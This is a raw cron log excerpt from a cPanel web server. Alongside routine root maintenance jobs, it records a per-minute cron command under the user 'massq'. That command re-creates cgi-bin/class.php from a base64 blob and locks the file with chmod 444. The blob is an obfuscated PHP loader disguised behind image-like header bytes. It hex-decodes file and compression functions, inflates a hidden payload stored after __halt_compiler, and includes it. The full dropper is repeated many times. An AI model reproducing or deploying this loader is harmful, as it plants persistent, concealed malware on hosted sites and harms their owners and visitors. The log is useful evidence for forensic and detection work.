Sep 10 11:58:01 server CROND[22428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:59:01 server CROND[22840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:59:01 server CROND[22838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:59:01 server CROND[22856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:00:01 server CROND[23337]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 12:00:01 server CROND[23338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:00:01 server CROND[23346]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:00:01 server CROND[23349]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:00:01 server CROND[23353]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 12:00:01 server CROND[23352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:00:01 server CROND[23354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:00:01 server CROND[23351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:00:01 server CROND[23355]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:00:01 server CROND[23356]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep 10 12:00:01 server CROND[23358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:01:01 server CROND[24197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:01:01 server CROND[24198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:01:01 server CROND[24199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:01:01 server CROND[24200]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 12:01:01 server run-parts(/etc/cron.hourly)[24200]: starting 0anacron
Sep 10 12:01:01 server run-parts(/etc/cron.hourly)[24219]: finished 0anacron
Sep 10 12:02:01 server CROND[24577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:02:01 server CROND[24579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:02:01 server CROND[24578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:03:01 server CROND[25053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:03:01 server CROND[25055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:03:01 server CROND[25054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:04:01 server CROND[25437]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:04:01 server CROND[25439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:04:01 server CROND[25438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:05:01 server CROND[25833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 12:05:01 server CROND[25832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:05:01 server CROND[25835]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:05:01 server CROND[25846]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:05:01 server CROND[25847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 12:05:01 server CROND[25852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:05:01 server CROND[25851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:05:01 server CROND[25849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:06:01 server CROND[26700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:06:01 server CROND[26701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:06:01 server CROND[26707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:07:01 server CROND[27067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:07:01 server CROND[27069]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:07:01 server CROND[27068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:08:01 server CROND[27527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:08:01 server CROND[27528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:08:01 server CROND[27529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:09:01 server CROND[27891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:09:01 server CROND[27892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 12:09:01 server CROND[27893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:09:01 server CROND[27894]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
